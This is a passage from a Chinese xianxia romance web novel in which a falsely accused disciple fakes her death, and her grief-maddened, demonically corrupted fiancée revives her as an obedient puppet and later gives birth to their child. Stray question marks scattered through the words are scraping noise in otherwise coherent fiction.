人群中一个模样?看?着三十多岁的男子,望着娄危雪的眼神布满阴霾。 他的女儿被合欢宗的人抓走练了炉鼎,他杀不了花醉月,但是至少可以看?着花醉月的女儿死! “当初我女儿被合欢宗的人攻击,可有人给她时间让她等援助!如今已是第三天,杀了她!” 合欢宗近些年做事嚣张,着实得罪了不少人,此?言一出如火星落入油海,众人的火焰被瞬间点燃。 “说的对!杀了她!” “杀了她!花醉月的女儿必须要死!” 场上当然也?有劝说着等时间到了再下结论的人,只不过在?一众喊杀的声音里,这微弱的声音实在?是小的过分。 娄青涯眉毛越皱越紧,望着娄危雪迟迟没有动手。 “娄掌门,你还在?等什么,难不成养妖女的孩子这么些年,还给你养出感情了吗?” “娄掌门你认清楚,这不是你的亲生女儿,你的亲生女儿可是受妖女折磨,与你分离了那么些年!” …… 娄危雪站在?被众人包围的中央,茕茕孑立,周围是众人对她的喊杀声。 她明白如果有什么线索,恐怕娄青涯早就拿出来?了,不至于?被人逼到这个份上。 如果等到娄青涯被逼着动手,她可不一定还能留下性命,主?动权只能掌握在?她自己的手中。 众人成聚,圣人不犯,今日?她恐怕是必须要死了。 娄危雪能够看?出,一些门派的人是真的很希望她立刻死去,可是她明明什么都没有做。 被诬陷的滋味叫娄危雪心底升出些许怒火,嘴角扯起一抹嘲讽,视线一个个的从那些自诩名?门正派的人身上扫过。 他们的脸色因为激动而泛着红色,眉毛竖起满眼愤怒,脖子爆着青筋,哪里还有往日?维持出的仙风道骨。 就因为她是花醉月的孩子,他们甚至连那丁点的时间都不愿意等,就要处死她。 真是可笑。 “我没有下药,如果还有人愿意相信我,如果还有人依然愿意帮我查出结果,那等事实真相出来?的那一刻,请在?座要杀死我的人记住,我是被你们给逼死的,你们的手并不干净。” 娄危雪的话将众人的视线全部拉回到她的身上,下一瞬只见少女抬手,运起灵力决绝的拍向自己的心口?。 沈清鸿和李寄春带着证据赶过来?的时候就看?到这一幕,她们在?没到这里之前就在?外?面听到了震天的喊杀声,便立刻加快了脚步,没想?到还是来?晚一步。 李寄春满脸愤怒,“明明没到时间,你们怎么能!怎么能!”‘ 可不管李寄春如何愤怒,一切都已经来?不及了。 身体在?叫嚣着疼痛,身边的声音在?逐渐远去,鲜血不断从娄危雪口?中溢出,假死药的药效开始发作。 她只觉得眼皮越来?越沉,沉到让人闭上就不想?睁开,黑暗没顶而来?的瞬间,熟悉的冷香袭来?,无力的身体跌入一个久违的怀抱,那么温柔又那么叫人眷恋。 少女唇边的鲜血红的刺眼,沈清鸿抱着人想?要将那碍眼的东西擦掉,却怎么都擦不干净。 原本洁白的衣袍因此?染上色,大?片的红映入沈清鸿的眼,血丝爬上她的眼白,眼眶跟着红了一圈。 她已经把给带来?了,很快娄危雪就会被证明清白,不会出事的,一定不会出事的。 “娄危雪,我把证据带来?了,你快起来?看?看?啊。” 沈清鸿的嗓音放的很轻,像是在?叫一个陷入睡梦中的人,可是那个被呼唤的人,根本就无法给她答复。 见怀中人没有动静,沈清鸿不厌其烦的一遍遍叫着。 “娄危雪,娄危雪……你怎么还不醒……” 边上的娄青涯看?不下去,走过去,满脸悲痛。 “清鸿,九寒她……她已经死了。” “闭嘴!”沈清鸿目眦欲裂,瞪向娄青涯,“她不会死的!她怎么会死呢……” “明明……明明我已经来?了啊……” 望着怀中毫无生息的少女,绵密的痛楚攀上沈清鸿的心口?,仿佛有人正拿着细小的尖针一根根的刺去。 为什么不在?等她一会! 只要一会,只要一会的时间就好,为什么这么一点的时间都不愿意给她! 李寻真不知道什么时候赶了过来?,看?着沈清鸿抱着娄危雪,目光不忍。 “清鸿,娄危雪已经死了,你放开她吧。” 可是沈清鸿丝毫未动,宛如没听到一般。 李寻真没有办法,弯身想?要将沈清鸿和娄危雪分开,就在?这时沈清鸿动了,一掌拍开李寻真。 “不要碰她!” 李寻真双眉皱起,“清鸿,人死不能复生,你该认清现实。” “她不能死!我还怀着她的孩子,她怎么能死!” 沈清鸿胸口?气血翻涌,一口?血喷了出来?,原本漆黑的瞳仁逐渐攀上红色。 她抱着人站起身,双眸通红,状若疯魔。 “我不会让她死的,我会让她活过来?的!” 这显然是入魔了,李寻真大?惊失色,赶忙拦在?沈清鸿的身前,想?要阻止她离开,可是入魔的沈清鸿修为大?涨,原本跌下去的修为迅速攀升。 李寻真不是沈清鸿的对手,一个照面便被沈清鸿逼退。 他焦急朝周围大?喊:“快拦住她!” 所有人被这变故惊到,一些同天一宗关系不错的人纷纷上去阻拦。 “滚开!” 沈清鸿面色冷冽,黑色的发丝飘浮在?空中,均湘剑洁净的剑身缠绕上黑气,剑影绽放环绕在?沈清鸿的周身,将她牢牢的护住。 这些人目的为了阻拦沈清鸿,并不是要她的性命,一时之间竟然没有一个人能拦下沈清鸿,只能看?着她一步步的走出议事厅的门,向着远处飞去。 李寻真满面焦急,快速的跟上要去追人,但是沈清鸿的速度太快,又不知道用了什么办法,让人连追寻的方向都找不到。 同样?焦急的还有李寄春,她原是准备等证明娄危雪的清白后?,在?找机会把娄危雪从假死的状态下给唤醒的,谁知道沈清鸿竟然直接带着娄危雪逃走了! 这可怎么办! 李寄春急的团团转,假死药是她为了能瞒过场中诸多修士特制的,如果不服用解药,根本就没办法自己醒过来?! 第48章 沈清鸿抱着娄危雪,一路飞到当初她们一起生?活的山中小屋。 走了几个月的时间,屋外没人?打理,野草蔓生?,只有溪流静静流淌,一如往昔。 推开门,旧日时光混着喧嚣的尘埃扑面而来,化?为一根琴弦勒上沈清鸿的心脏,每一次的跳动都会让琴弦陷入几分,细细密密的疼痛泛起。 屋内桌上还?插着沈清鸿离开时的那束花,只不过花瓣零落干枯,颜色灰败,显然已经走到生?命尽头。 沈清鸿咽下?喉咙间翻涌的血气?,迈开脚走入房内,将娄危雪放在床榻上。 少女?双眸紧闭,无知无觉,像是陷入一场不会醒来的大梦之中。 她低着头,眼神从?少女?的面上一寸寸滑过,贪恋又缱绻。 “你已经被我抢走了,再等等,我会把你唤醒的。” 沈清鸿神色温柔,俯身在少女?的额上落下?一吻。 与此同时,云霄门的议事厅中,依旧是一团乱。 李寻真面色铁青,在旁边吩咐着此次过来的天一宗弟子,开始全面寻找沈清鸿的下?落。 有人?凉凉开口,“一旦彻底入魔,就?不可再恢复,李宗主,你让人?找她回来是为了把她杀掉吗?” 天一宗的弟子闻言大怒:“大师姐并?未做伤天害理的事情,你凭什么?这么?说!” “现在未做,不代表以?后不会做,她已经入魔,心性必然转变,未免酿成大祸,找到她后还?是除掉为好。” 李寄春在旁边听着,面色铁青,只觉得第一次认清这些人?的嘴脸。 “如果不是你们逼着危雪,她怎么?可能会死!清鸿仙尊又怎么?会受影响入魔!” 有人?对李寄春的说法不满,“我们没有逼她,是她自己要死的,更何况做出那种卑劣的事情出来,她早就?该死了!” 愤怒将李寄春烧的双眼通红,“危雪根本就?不是下?药的人?!真正下?药的人?是施梦!” “你胡说!” 施梦立刻反驳,但是想?到没处理好的那几样东西,又有点慌乱。 李寄春冷哼一声,将这几日同沈清鸿调查到的东西全部?放出。 有碎掉的药瓶瓷片,同下?在灵泉中的一致,有弟子的口供,说曾经见到有奇怪的人?进入施梦房间,最重要是李寄春放出的还?有施梦收到的合欢宗信件,上面允诺她,会帮忙除掉沈清鸿。 诸多证据被摆在众人?眼前,她先看了施梦一眼,然后又冷眼扫向众人?。 “你,还?有你们,都是害死危雪,逼迫清鸿仙尊入魔的凶手!” 场上人?声俱静,那些叫嚣着杀死娄危雪的人?,纷纷没了声。 直到一阵笑声打破平静,只见施梦肩头抖动,笑得狰狞。 “哈哈哈,是我做的又怎么?样,看来合欢宗少主说的没错,只要娄危雪出事,沈清鸿道心动荡不会有好下?场。” “我早就?看她不顺眼了,什么?高高在上的清鸿仙尊,不还?是被我拉下?来了!从?今往后,她就?是一个魔气?缠绕,人?人?喊打的魔头了!” 听着施梦癫狂的话,李寻真气?的浑身发抖,挥袖拍向施梦,施梦倒飞出去,吐出一大口鲜血,直接昏迷过去。 李寄春重新扫向众人?,“怎么?,对危雪你们喊打喊杀,对真正下?药的人?,你们反倒没话了?” 除了寂静还?是寂静,不知过了多久,一个不知名?的小门派掌门突然说话。 “就?算不是娄危雪做的又怎么?样,她是花醉月的孩子,她该死。” 李寄春不可置信的看着说话的人?,“做错事的是她的母亲,与危雪有何关系!” 有人?插话,“母债女?偿,要怪就?只能怪她投错了胎!” 此言一出,立刻得到了一部?分人?的附和,仿佛只有这样,才能证明他们没有做错事。 李寄春看着这部?分不知悔改的人?,火气?上涌。 “怪不得仙门近千年从?未有人?能够飞升,若是你们这样的都能飞升,那仙也就?没什么?可做的了!” 生?气?的丢下?这句话后,李寄春转身离开。 为了能够隐瞒在场那么?多的修士大能,她的假死药不但会让人?身体陷入假死状态,还?会让神思跟着沉睡,这个时候不论?对娄危雪做什么?事情,她都不会醒,除非吃下?解药。 清鸿仙尊入魔,情绪不稳不知道会做出什么?事情,得快点寻找到她们才行。 而被找着的人?,已经在小屋中安顿下?来。 沈清鸿除掉小屋外的野草,又在附近布置下?了隐匿的法阵。 屋内没有了娄危雪匆忙离开时的凌乱,被打理的干净整洁,只不过干枯的花枝还?插在花瓶中,与周围的环境显得格格不入。 这是娄危雪送她的花,她要等娄危雪醒来,亲手为她换上新的花枝。 沈清鸿来到床边,娄危雪依旧没有反应,少女?就?静静的躺着,眼底的小痣在白惨惨的脸色下看起来分外明显。 低头看了半晌,她伸出指尖触碰上娄危雪眼下的痣,只觉手下?一片冰冷。 时间不止在流逝,也带走了娄危雪的体温。 沈清鸿眉心蹙起,站起身脱去外衣躺在娄危雪身边,手臂一伸,将人?搂入怀中,宛如抱着一个人?形冰块。 娄危雪身上的冷蔓延到沈清鸿的身上,可是她没有放手,只紧紧同娄危雪贴在一起,用自己的体温,一点点去温熨着娄危雪的。 体内的魔力也被沈清鸿放出,缓慢的渡入娄危雪的体内。 她曾经在外追讨过一个邪修,从?那人?身上搜查到一本书籍,书中记载,有一种特殊的办法,可以?将人?制作成不死的傀儡,并?且傀儡会对制作者忠心耿耿,不离不弃。 沈清鸿将头埋入娄危雪的脖颈间,握住娄危雪的手,按照书中的办法,持续的输入魔力,改变着娄危雪体内的经脉骨骼。 这一躺就?是一天,沈清鸿再次从?床上起来的时候,面色煞白,体内魔气?几乎全部?耗尽,但她一言不发,划破自己的手指,在空中画出一道道复杂的纹路,一个法阵缓慢行成。 抬手挥出,阵法被送至半空,血液顺着阵法流转起来,红光泛起带着丝丝缕缕的血气?,笼罩住娄危雪的全身。 做完这些,沈清鸿将被子重新盖在娄危雪的身上,试图留住娄危雪的体温。 她目光温柔,带着疯癫的占有欲,“快了,你会醒来的,到时候你就?是我一个人?的。” 两人?在此住下?,之后的日子沈清鸿几乎寸步不离,始终守在娄危雪的身边,每一天都会动用体内的魔力改造娄危雪的身体。 时光悄然流逝,不知道过去了多少昼夜,娄危雪身体上方悬浮着的红色阵法,颜色逐渐减淡,直到消失。 沈清鸿见此,拿出匕首,看着床上的人?神色温柔,又带着些微的急促与期待。 她掀开娄危雪身上的被子,拔出匕首,蹭亮的刀光泛起,沈清鸿能在匕首上看到自己的眉眼。 在她眉毛上方,额头的两侧长着两枚尖角,脑袋上顶着一双雪白柔软的耳朵。 因为受到怀孕的影响,她已经维持不住正常的人?形,希望娄危雪醒来之后不会吓到她。 想?到还?差最后一步娄危雪就?可以?醒来,沈清鸿不再犹豫,抬起手毫不犹豫的刺向娄危雪的胸口。 匕首的刀刃没入少女?胸膛,浅浅的刺破心脏,又被拔出,取出一滴心头血。 沈清鸿用法术包裹住这滴血液,然后面不改色,同样用匕首刺破了自己的心脏。 心头血被沈清鸿取出,两人?的血液在空中进行交换,各自没入对方的胸口。 下?一瞬屋内红光大盛,汇聚成诡谲的纹路分别印入两人?的身上。 红光中沈清鸿眉眼柔和,目光痴痴地落在娄危雪的脸上。 “娄危雪,你该醒了。” 这句话宛如咒语,在沈清鸿话音下?的瞬间,原本双眸紧闭,毫无知觉的少女?,缓缓睁开双眼,淡薄几乎无色的唇轻微张启。 “主人?。” 少女?面容呆板,脸上没有丝毫表情,一双眼眸漆黑如夜,失去所有的光彩。 沈清鸿依旧温柔地看着她,只要娄危雪醒来就?好,只要娄危雪永远能够陪在她身边就?好。 她取出随身空间中的药,先处理了娄危雪心头的伤口,然后又拉起娄危雪的手,放在自己的心口。 沈清鸿面白如纸,但一双眼睛却亮的惊人?。 “娄危雪,我受伤了,你以?前看到会帮我处理伤口的,现在,你该动一动了。” “是,主人?。” 沈清鸿的想?法投入少女?脑海,少女?傀儡动了起来,抬手伸向沈清鸿的腰带。 沈清鸿此时却眉头皱起,“我不喜欢你这么?叫我。” 少女?傀儡没有一点的反应,依旧执行着之前的动作。 沈清鸿的腰带被解开,衣袍散乱,她没有动,只是静静的看着少女?,然后开口:“娄危雪,你记住,我是沈清鸿,你的未婚妻子,以?后不要叫我主人?,叫我清鸿。” “好,清鸿。” 傀儡应下?的同时,沈清鸿身上的衣服也被脱下?。 白衣滑落,露出掩藏在衣服底下?的细腻肌肤。 傀儡修长的手蘸取药膏,流程化?的涂抹在沈清鸿的胸口,没有讲究半分力道上的轻重。 第49章 素来最能忍受从不?喊痛的?沈清鸿, 第一次在娄危雪这里感受到了疼痛。 她垂下眸,长长的?睫毛在眼底投下一道阴影,看不?清神?色,只能听到那清冷无比但又被放的?很轻声音。 “娄危雪,力道轻一点,我痛。” “是。” 傀儡听话的?减小了手中?的?力道,修长的?手指没有丝毫温度,冰冰冷冷的?划过沈清鸿的?心口,带着细细密密的?刺痛。 上好药膏之后,傀儡拿起?绷带,一圈圈的?缠绕上沈清鸿的?身体,伤口被掩藏在了白色的?绷带下面。 做这些事情?的?时候,傀儡面容平静,没有丝毫表情?,仿佛手底下的?这个人,无论怎么样都同她没有任何关系。 沈清鸿的?目光定格在娄危雪的?脸上,没有脸红心跳,也没有小心翼翼的?担忧,明明还是那个人,但做出来的?事天?壤地别。 不?过没关系,哪怕永远这般木讷平静,只要娄危雪还在她身边就好。 伤口被处理?好,沈清鸿将衣服重新?穿上,胸口却一阵翻涌,素来挺得笔直的?背脊弯了下来。 她孕吐的?厉害,连连干呕,手指紧紧扣在床边,指尖因为用力而泛白,眼睛里逐渐漫上一抹水色。 傀儡对此没有丝毫反应,就只在旁边看着,一动不?动。 好一会过后,沈清鸿才感觉没有那么难受,她松开抓着床沿的?手,一股疲惫传遍全身。 “娄危雪,我累了,我们睡一会吧。” 傀儡动了,睡在床上躺的?笔直。 见状,沈清鸿在傀儡的?一侧躺下,她侧着身体看到少女闭上的?双眸,想起?了少女沉睡不?醒的?日子,心头闪过一抹痛楚与慌乱。 没事的?,她已经唤醒娄危雪了,不?会再出现那种?情?况了。 沈清鸿在心里安慰着自己?,然后靠近少女。 “抱着我。” 傀儡听话的?转过身体,一只手臂从沈清鸿的?脖颈下穿过,一只手臂拦住沈清鸿单薄的?身体。 沈清鸿被少女抱入怀中?,没有感受到一丝温暖。 傀儡身上的?温度早就已经消失,唯余冰冷,不?过沈清鸿对此毫不?在意?,她会让两个人的?身体温暖起?来。 就这样,在一片冰冷中?,沈清鸿窝在娄危雪的?怀中?,逐渐入睡。 等沈清鸿再次醒来的?时候,已经是第二?天?了。 她自然而然的?从床上起?身,看到没有睁眼的?少女,俯身在少女的?额上落下一吻,然后轻声唤道:“娄危雪,早上了,醒来吧。” 话音落下,少女紧闭的?双眸缓缓睁开,眼神?依旧古井无波,没有一丝刚清醒时的?朦胧。 “清鸿,我醒了。” 沈清鸿弯唇一笑,她喜欢少女叫她的?名字,这会让她知?道,少女就好好的?待在她的?身边。 屋外天?气正好,推开门,阳光倾泻而下,照亮了一室的?温暖,桌子上的?花,在灿烂阳光的?对比下,显得格外灰败。 沈清鸿盯着花束,又看看站在旁边的?少女,心想,她该有新?的?花了。 “娄危雪,去摘一束花带回来给我吧。” “好。” 傀儡应下,转身出了门。 沈清鸿没有跟上去,她坐在靠窗的?椅子上,一如很久之前那样,安静的?等着娄危雪回来,也等待着属于她的?那份惊喜。 不?知?道等了多久,有细微的?脚步声响起?。 透过窗户,沈清鸿可以看到捧着花束,正朝屋内走?来的?少女。 阳光洒在她的?发上,为她笼罩上一层金色的?光芒,鲜艳的?花束被她抱在怀中?,绚烂无比,仿佛所有色彩都集中?到了一个人的?身上,明媚的?刺眼。 缓慢地,缓慢地。 少女走?入屋内来到沈清鸿的?面前,将手中?的?花束递出。 沈清鸿没有接,她盯住少女的?眼睛。 “现在,问我问题。” 少女傀儡像是无法理?解沈清鸿的?话,磕磕绊绊的?说出两个字。 “问……题。” 沈清鸿面色未变,她微微颔首,有十足的?耐心。 “问我,你喜欢吗?” 傀儡不?知?道沈清鸿的?意?思,只是按照主?人的?吩咐,如实问着。 “你喜欢吗?” 她的?语气平静,没有半分波澜,却让沈清鸿弯了眉眼。 一抹温柔的?笑意?在沈清鸿的?唇边绽开,她伸手将花束接过,认真回答了少女的?问题。 “我很喜欢,娄危雪,我很喜欢。” 她说了两遍,不?知?道是在说花,还是说眼前这个给她带来过,比鲜花还要美好的?事物的?人。 沈清鸿来到桌边,将花瓶中?散发着腐朽颓败气息的?花枝取出丢掉。 她将花瓶洗净,注入清水,把少女送她的花束放入瓶中。 花束颜色缤纷,让人看见就会觉得心情?好。 “娄危雪,以后记得每天?都要送鲜花回来。” 傀儡应下,“好。” 两人就这么在山中?一天?一天?的?过了下来,而每一天?都会有新的花束被插进房间的花瓶里。 沈清鸿的肚子随着时间变大,她逐渐维持不?住人形的?模样,重新?化回了灵兽。 或许是因为入魔魔力疯涨的?原因,沈清鸿的?兽形比原先大了许多,不?再是小小的?巴掌大的?一团。 现在的?她足有半人那么高,而且身形并没有固定,甚至还在变大。 没了人的?形态后,沈清鸿身上显露出了一些兽类的?习性。 此刻她趴在门外的?廊台上,阳光将身体照的?暖洋洋的?,格外舒服,娄危雪就坐在她旁边的?椅凳上。 沈清鸿凑近娄危雪,用脑袋顶了下娄危雪垂下的?手掌。 多日的?相?处叫这个名为娄危雪的?傀儡,明白这个动作带来的?意?思。 她弯下腰,伸手沿着沈清鸿的?脊背一下下的?往下顺着毛。 沈清鸿惬意?的?眯起?双眼,脊背在娄危雪的?力道中?舒展开来。 怀孕后的?身体时常感到疲惫,这里那里的?总是不?舒服,自从变回兽形之后,沈清鸿就喜欢上了被娄危雪抚摸的?感觉。 她喉咙中?无意?识的?发出惬意?的?呼噜声,眼睫半敛,偶尔还会主?动用脑袋去蹭娄危雪。 沈清鸿趴在娄危雪的?腿边,她只要娄危雪在她身边陪着她就好,如果能够这样一辈子这么相?处下去,那也不?错。 一人一兽相?处和谐,她们就这么静静的?在廊台上晒着太阳,清风吹过带动树梢,发出轻微的?响声,偶有飞鸟从空中?掠过。 时光流淌,岁月静好,四季的?风从山林中?刮过,吹败树梢,染白了枝干,又在一阵?*?暖意?中?发了新?芽。 春季来临,沈清鸿的?肚子高高鼓起?,腹中?有坠胀感,常有疼痛传来。 她们已经在小屋中?住了许久,算算日子,已经过了好些月,腹中?的?孩子差不?多该出生了。 这段时间沈清鸿粘娄危雪粘的?厉害,两人寸步不?离,就算娄危雪遵循沈清鸿的?要求每日清晨出去摘花,沈清鸿都不?会离开,她会跟着一起?。 今日从外面回来,沈清鸿刚让娄危雪把花在花瓶中?插好,腹中?便传来一股巨痛,而且这阵痛非但没有减弱,还在不?停的?加剧,越来越重。 沈清鸿歪倒在地,急促的?喘息一口,她压抑着痛苦,冷静的?让娄危雪帮助自己?。 “把我抱上床,然后打盆干净的?水回来,用法术加热。” 傀儡娄危雪听话的?按照沈清鸿的?吩咐,一步步的?做着。 沈清鸿痛的?厉害,这里也不?会有人帮她接生,她只能靠自己?。 “卷个布条塞我嘴里,然后在旁边陪着我就好。” 娄危雪照做,拿出卷的?厚厚的?布条塞入沈清鸿的?嘴巴中?,之后就不?动了,只是低头看着床上虚弱的?沈清鸿,双眸无神?。 她不?知?道沈清鸿为什么会这样痛,不?懂沈清鸿的?要求意?味着什么,她一无所知?,只是个没有灵魂和思想的?傀儡。 沈清鸿从未有过哪刻如现在般明白,娄危雪不?一样了,那个记忆中?喜欢对她笑的?少女已经不?会回来了。 她看着面无表情?的?人,突然吐掉嘴巴里的?布条。 “娄危雪,你笑一下给我看看吧。” 傀儡呆呆地,一点点扯起?嘴角,露出一个僵硬的?笑容。 她的?眼睛没有弯起?,这个笑容一点也不?好看,反而嘲讽意?味十足。 沈清鸿定定的?看了几秒,然后轻笑一声。 这样就够了,只要她还能看到娄危雪,只要人还在她的?身边…… 腹部又一波来袭的?疼痛,拉扯回沈清鸿的?思绪。 她咬住刚刚吐出的?布条,将力气集中?在下腹,凭借着本能用力。 身下越来越痛,沈清鸿身体底下的?毛发已经全部被血水打湿,毛发脏污的?纠结在一起?。 在又一次用力后,她感觉有什么东西出来了一点,这是个好兆头。 沈清鸿深吸一口气,再次用力,身下的?东西往外滑出,腹部瞬间轻松许多,原本的?坠胀感消失不?见,只剩下单纯的?疼痛。 一丝微弱的?哼唧声响起?,然后越来越大。 沈清鸿浑身的?力气仿佛在这次生产中?用尽,虚脱的?想要昏死过去,但是她不?能。 吐掉嘴边的?布条,她使出法术,切掉同孩子相?连接的?脐带。 刚出生的?小兽最是脆弱,沈清鸿让娄危雪取来布将孩子包了起?来,又撑着精神?使用法术简单的?清理?了身下,然后才彻底昏死过去。 第50章 当沈清鸿再次睁眼的时?候娄危雪还?在?床边,她呆呆的盯着沈清鸿,对于沈清鸿的清醒没有半分反应。 她已?经在?这里待了很久,姿势同沈清鸿昏迷时?一模一样,似乎没了沈清鸿的吩咐,她就什么都不会做了。 沈清鸿心头升起无?奈,但也没有任何办法。 她暂时?没有理会娄危雪,起身查看旁边放着的布包,那里包裹着一个浑身粉色的初生小兽。 小兽身上毛发并不明显,小小的一团,还?不及沈清鸿的巴掌长。 她的胸口正一起一伏着,双眸合起,显然是在?睡着。 经历了那么多的事情,这个孩子曾多次被人要求流掉,她自己、师叔、娄危雪…… 可无?论过程如何,最后这个孩子还?是出?生了。 是顽强的,蓬勃的,带着爱意?诞生的生命。 沈清鸿神色柔和,“娄危雪,你看啊,这是我们的孩子。” 一直呆呆愣愣的少女此刻才?有了反应,看着沈清鸿视线注视着的地?方,无?意?义的重复。 “我们的孩子。” 她目光平静,无?法理解孩子这两个字的意?义,只会应和着将她唤醒的沈清鸿的话。 “是,我们的孩子。” 沈清鸿将脑袋朝着娄危雪身边蹭去,被布团子包裹住的小兽就安稳的躺在?两人的中间,淡淡的阳光洒入屋内,将三人笼罩在?一起。 若是有不知内情的人从远处看来,只会觉得这是温馨的一家三口。 沈清鸿的毛发被人一下下的顺着,她看着布包里还?未修炼出?人形的孩子,询问道:“娄危雪,你说我们给她取什么名字好呢?” “名字。” 没有思想的傀儡根本想不出?任何回?答,只会盯着布包看。 沈清鸿静静的等着,等不到任何回?答,不过她也并非一定要娄危雪说出?名字才?行。 盯着孩子思考好一会后,沈清鸿心中升起一个念头,一个名字浮现在?她的脑海。 “不如叫青筠吧,沈青筠。” “筠为竹,希望我们的孩子以后能如她的名字一般,坚韧不拔,生命常青。” 沈清鸿说着,用爪子推了推娄危雪,“娄危雪,你是不是也觉得叫青筠好。” 被推的人点头应了一声?:“青筠好。” 她嗓音呆板,也因此听起来竟有着几分认真的味道。 沈清鸿笑?了,眉眼弯起,看起来很是高兴。 “那就叫青筠了。” 孩子的名字就此拍定,恰巧此时?小青筠半睁开双眸,她的眼睛如一颗剔透的黑色水晶,干净澄澈,正眨巴着看向沈清鸿,哼唧哼唧的发出?软糯的声?音,那声?音听的人连心都能化了去。 沈清鸿的脑袋枕在?娄危雪膝头,看着孩子,满目柔光。 “我们的小青筠,娘亲和母亲会好好守着你,保护你的。” 青筠哼唧了两声?,像是听懂了一般,还?挥舞了一下小小的四肢。 修炼之?人身体强健,修养了大半个月后,怀孕给沈清鸿带来的影响逐渐消失。 她已?经可以化成人形,只不过额头上的角暂时?还?收不回?去。 这段时?间小青筠身上的毛也长出?来了许多,不似刚出?生时?的那般,她已?经长成了一个白?白?软软的雪团子,简直是缩小翻版的沈清鸿。 不过与沈清鸿不同的是,小青筠额前的双角尚且没有长出?,只是小小的两个小黑点。 她格外喜欢粘着娄危雪,每次睁眼发现自己不在?娄危雪身边,就会迈着小短腿哼哧哼哧的朝娄危雪身边拱。 比如此刻,小青筠迈着腿就朝娄危雪去了。 柔软的脑袋顶上娄危雪的腿,她仰着头看着自己母亲,呜嘤呜嘤的叫着。 娄危雪分辨不出?话中的意?思,只是低头看着这个在?她腿边叫个不停的小兽。 小青筠见娄危雪不理她,着急不已?,她同娄危雪的体格差的太多,只能继续用脑袋不停的顶着娄危雪的腿。 不过小青筠才?刚学会走路没多久,用脑袋拱了几次后,四肢没稳住,啪嗒摔了个屁股蹲。 雪白?的小团子得不到娄危的抱抱,又摔了一下,眼睛中开始涌起泪花,呜嘤呜嘤叫的更厉害了。 沈清鸿刚进屋就看到这一幕,瞬间就明白?发生了什么事情,她摇头无?奈,走过去将小青筠抱起。 小青筠的四爪在?空中扑腾着,不想从娄危雪身边离开。 沈清鸿没有理会,牢牢的抱着小青筠,然后朝娄危雪道:“伸出双手。” 娄危雪照做,乖乖的将双手伸了出?来,她的手掌白?皙粉嫩,看着就很柔软。 随后,在?小青筠越来越大的叫声中,沈清鸿将小青筠放了进去。 触碰到娄危雪的瞬间,小青筠就不叫了,眼中的泪花也退了下去。 她乖乖的将自己窝成一个小团子,在?娄危雪手中蜷缩起来,脸颊依恋的蹭着娄危雪的手掌。 沈清鸿没好气的笑?了一声?,伸手轻戳了下小青筠的脑袋。 “小粘人精。” 小青筠抖抖耳朵,像是此刻眼中才?看到自己的娘亲,她无?辜的抬头舔了下沈清鸿还?未收回?的手指,然后一点点的弯起大眼睛,嘤咛一声?。 这小模样别提有多可爱了,沈清鸿轻笑?一声?,揉了揉她的小脑袋。 “好了好了,不说你了。” 一家三口就这么过了下来,每个清晨娄危雪会出?去采摘新的花束带回?来,小青筠就在?这一天天中渐渐长大了。 在?娄危雪又一次准备外出?时?,小青筠黏了上去,迈着四个小爪子跟在?娄危雪的身后,怎么都甩不掉。 “唔嘤,啊,啊……” 沈清鸿摇头,将这小东西抱起来塞到娄危雪怀中。 “今天把青筠也带上吧,记得把她好好的带回?来。” “好。” 傀儡抱住小青筠走出?了门,一人一兽一起出?了门。 等再次回?来的时?候,小青筠直接从一个白?团子变成了一个泥团子,身上的毛发沾染的全是泥土,上面还?沾着草木碎屑,就连娄危雪的身上都弄上了不少,洁白?的脸蛋沾上几道脏污,偏偏本人还?呆呆的什么都不知道。 “花,清鸿。” 娄危雪伸手将今天采来的鲜花递给沈清鸿,旁边的小青筠见状,邀功似的也凑到了沈清鸿面前,她嘴巴里正叼着一束鲜花,不过小家伙不知道保护,花瓣有些残破。 看着面前这一大一小,沈清鸿心头滑过一抹暖意?,她接过娄危雪递来的花束,然后弯下腰取走女儿口中的鲜花,没有顾忌她身上的脏污,把小团子抱了起来。 花被取走,叫小青筠格外激动,用脑袋不停的蹭着沈清鸿撒娇。 “嘤,啊啊……木……啊……” 这是这么多天来,沈清鸿第一次在?女儿口中听到无?意?义的哼唧外的字。 看着怀中的泥团子,她眼睛一亮,神情难掩惊喜。 “母亲,青筠,叫母亲。” 小青筠似是听懂了一般,跟着重复,“木……母……” “母亲,”沈清鸿重复了一边,放慢了音调,“母——亲——” “母……母……系……” “亲——” “系……亲……” 沈清鸿眼睛微微张大,又重复了一遍。 “母亲。” “母……系……母……亲……”小青筠睁着澄净的双眼,再次开口,“母亲。” 刹那间,沈清鸿嘴角上翘,脸上漾着另人目眩的笑?容,可令百花失色,她亲昵的吻了下青筠的脑袋,眉眼弯起。 “对,我的青筠真棒,我是你的母亲。” 沈清鸿笑?着,然后指了指娄危雪。 “这是你娘亲,叫娘亲。” “凉……系……凉亲。” 或许是娘这个字对刚刚学会说的小青筠来说过于复杂,沈清鸿教了好几遍小青筠都没有学会。 她说话的时?候含混不清,也不是次次都能喊对,但是也足够叫沈清鸿开心。 这样很好,她们一家子只要能够平平稳稳的过下去就行。 娄危雪身体已?经被沈清鸿用魔力改造过,可以不吃不喝,沈清鸿这个境界已?经可以辟谷。 为了小青筠用的东西,沈清鸿偶尔会下山采买,这期间她无?意?间的听到了许多事情。 比如玲溪已?经被娄青涯认回?,成为云霄门的少门主。 合欢宗的宗主从花醉月变成了花问宵,而花厌这个合欢宗的少主,一有机会就追着玲溪跑。 现在?仙门中已?经传遍了,说是合欢宗的少主喜欢云霄门的少门主,不过玲溪对此没有任何反应,只一心修炼,境界上提升了不少。 至于娄危雪的娘亲云文君,从那次仙门大比之?后,就生了病,据说娄青涯找了许多人过来看过,但是没有好转,已?经于三月前病逝。 而同云文君牵扯颇深的花醉月,被花问宵带回?合欢宗之?后就再也没了消息。 合欢宗的弟子行事也收敛了很多,在?外面已?经鲜少能看到出?来的合欢宗弟子了。 除此以外,沈清鸿也曾看到过寻找她的人,有天一宗的,也有其它门派的。 不过其它门派的人大多是为了杀死?她,对她发布了追杀令。 曾经各个仙门尊敬敬仰的清鸿仙尊,在?那些人的嘴中,成为一个不辨是非,咎由?自取的大魔头。 50-60 第51章 天空湛蓝如洗,纤云不染,远山含黛。 一座林间小屋静静的伫立在山林之间,隐藏在山色之中。 从高空往下看去,可以看到一个小白?团子从树林间奔跑穿过,跑向小屋,正是沈青筠。 还没到小屋,沈青筠就叫起来了。 “母亲,娘亲,我?回来啦。” 沈清鸿听?到动静从屋内走出,看到沈青筠,摇头无奈。 晃眼间五年过去了,当初的那个小白?团子长大了许多?,不过依旧小小的一只,惹人怜爱。 